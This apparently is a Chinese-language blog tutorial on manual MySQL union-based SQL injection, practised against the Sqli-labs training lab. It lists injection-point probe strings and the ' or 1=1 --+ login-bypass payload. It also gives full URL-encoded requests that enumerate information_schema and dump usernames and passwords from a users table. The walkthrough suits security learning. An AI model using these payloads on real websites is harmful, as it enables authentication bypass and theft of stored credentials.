Mysql注入之一 聯合注入
一 前言
作者也在學習web安全,可能文章中或多或少存在一些錯誤內容。寫些手工注入的文章,一方面能加深對這部分知識的印象,一方面也能大家互相學習。
有人可能問:資料庫注入不是有很多非常強大的工具,如sqlmap,為什麼還要去花些時間去學習手工注入。雖然使用sqlmap等注入工具能很輕鬆的對拖一個存在注入漏洞無安全狗的網站的資料庫,但卻無法知道注入的全過程,不方便後續寫一些自動化測試的指令碼,同時由於是工具不可避免的存在一些誤報。
但手工注入也非常浪費時間,因此,在對手工注入有了認識後還是推薦使用sqlmap工具配合一些指令碼來進行注入。
分享一個練習注入別人寫的一個過關式的一個專案原始碼,枯燥的學習中增添點樂趣
Sqli-labs 專案地址—Github 獲取:
二 聯合注入
聯合注入顧名思義,就是使用聯合查詢進行注入的一種方式,是一種高效的注入的方式,適用於有回顯同時資料庫軟體版本是5.0以上的MYSQL資料庫。至於為什麼需要版本是5.0以上的MYSQL資料庫是因為MYSQL會有一個系統資料庫information_schema,能很快的通過幾條注入語句獲取到想要的資料。
三 基礎知識
(1) 常使用的一些mysql函式及環境變數
名稱 | 功能 |
---|---|
version() | MySQL 版本 |
user() | 當前資料庫使用者名稱 |
database() | 當前資料庫名 |
@@version_compile_os | 作業系統版本 |
@@datadir | 資料庫路徑 |
group_concat(str1,str2,…) | 只顯示一行是用的,連線一個組的所有資料, 並以逗號分隔每一條資料 |
以上就是在union注入中較為常用的一些函式和環境變數
(2) 聯合查詢的語法
聯合查詢語法如下:
SELECT col1 .. FROM table [WHERE [條件1],..] UNION SELECT col1 .. FROM table [WHERE [條件1],..];
2條查詢語句以union關鍵字連線起來,返回2條查詢語句的並集
(3) 注入點存在判斷語句
and 1=x –+
‘and 1=x –+
“and 1=x –+
)and 1=x –+
‘)and 1=x –+
“) and 1=x –+
根據union關鍵字前面那條查詢語句WHERE條件中是如何閉合的來選擇測試語句,x為常用1和2,如果1正常顯示頁面,2不正常顯示頁面,即存在注入點
舉個例子:
#後臺查詢如果是
$uid = $_GET['uid'];
$sql = "SELECT * FROM users WHERE uid='$uid'";
#如果我們使用第一條測試語句, http://xxxx/new.php?uid=1 and 1=1 --+ 那麼
$sql="SELECT * FROM users WHERE uid='1 and 1=1--+'";
#很明顯會報錯,因為少個'來閉合條件
#正確的我們應該是提交 http://xxxx/new.php?uid=1'and 1=1 --+
$sql="SELECT * FROM users WHERE uid='1' and 1=1 --+'";
#最後的那個'被--+註釋掉了,因此能成功被資料庫執行
(4) 萬能密碼
有時登入認證或許可能存在注入點,我們就能利用萬能密碼就行登入了
萬能密碼和測試語句很像
or 1=1 –+
’ or 1=1 –+
舉個例子,有個網站登入認證的核心程式碼如下:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT id FROM users WHERE username='$username' AND password='$password'";
#id存在就登入成功,不存在就登入失敗
#如上這認證程式碼我們就可以使用萬能密碼來無密碼認證登入
#post提交資料: username=admin&password=' or 1=1 --+
$sql= "SELECT id FROM users WHERE username='admin' AND password='' or 1=1 --+'";
#由於AND優先順序大於or,先執行條件條件username='admin' AND password='' 為false ,在 false or 1=1 有為true,就成功沒正確輸入密碼繞過了認證
(5) information_schema資料庫
information_schema資料庫我們會用到三個資料表:schemata,tables,columns
schemata表中有欄位叫schema_name,存放的資料是資料庫中所有資料庫的名稱
tables表中有欄位table_name(表名),table_schema(表所在的資料庫名)
columns表中有欄位column_name(欄位名),table_name(欄位所在的表)
如此注入流程就如下:
流程 | 語句 |
---|---|
獲取資料庫名 | select schema_name from information_schema.schemata |
獲取表名 | select table_name from information_schema.tables where table_schema=’xxxxx’ |
獲取列名 | select column_name from information_schema.columns where table_name=’xxxxx’ |
獲取資料 | select xxx from xxx |
四 模擬過程
從報錯所知,後臺查詢語句應該是SELECT .. FROM .. WHERE xx=(“”) ..這樣形式的
看來猜測的不錯
下面我們測試下是否存在注入點
看來注入點是存在的,在進行聯合注入前,我們還有知道他前一個查詢列的數目,因為聯合查詢前後2個查詢欄位數目要一致。可以使用order by對欄位進行排序而知道他的欄位數量
可以看到order by 3時是正常顯示網頁的,4時報錯了,所以知道他查詢了3個欄位
現在可以繼續聯合查詢了,我們先看看網頁顯示的內容對應的欄位是哪幾個
可以知道第一個欄位是不顯示的,我們就用後面2個欄位顯示我們需要的資料
先查詢當前的資料庫使用者和資料庫名稱
可以看到資料庫是security,登入資料庫的使用者是root。然後我們在對獲得資料庫中的表
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%20--+
但是就顯示了一個表,可能是他使用limit 0,1來只獲取一條資料,這是我們想看到後面的資料可以使用limit 1,1這樣一條一條的看,也能使用group_concat函式來全部連線成一條資料
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%20--+
看到一個users表,表示對其感興趣,因為注入的目的主要就是拿到後臺的登入賬戶和密碼,因此我們看看users表的欄位
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name=%27users%27%20%20--+
就看到username,password了,最後一步就簡單了,直接select 1,group_concat(username),group_concat(password) from users就能得到全部的資料了
就這幾條語句我們就成功獲得了資料庫中的想要資料,可以注入的危險性是如此之高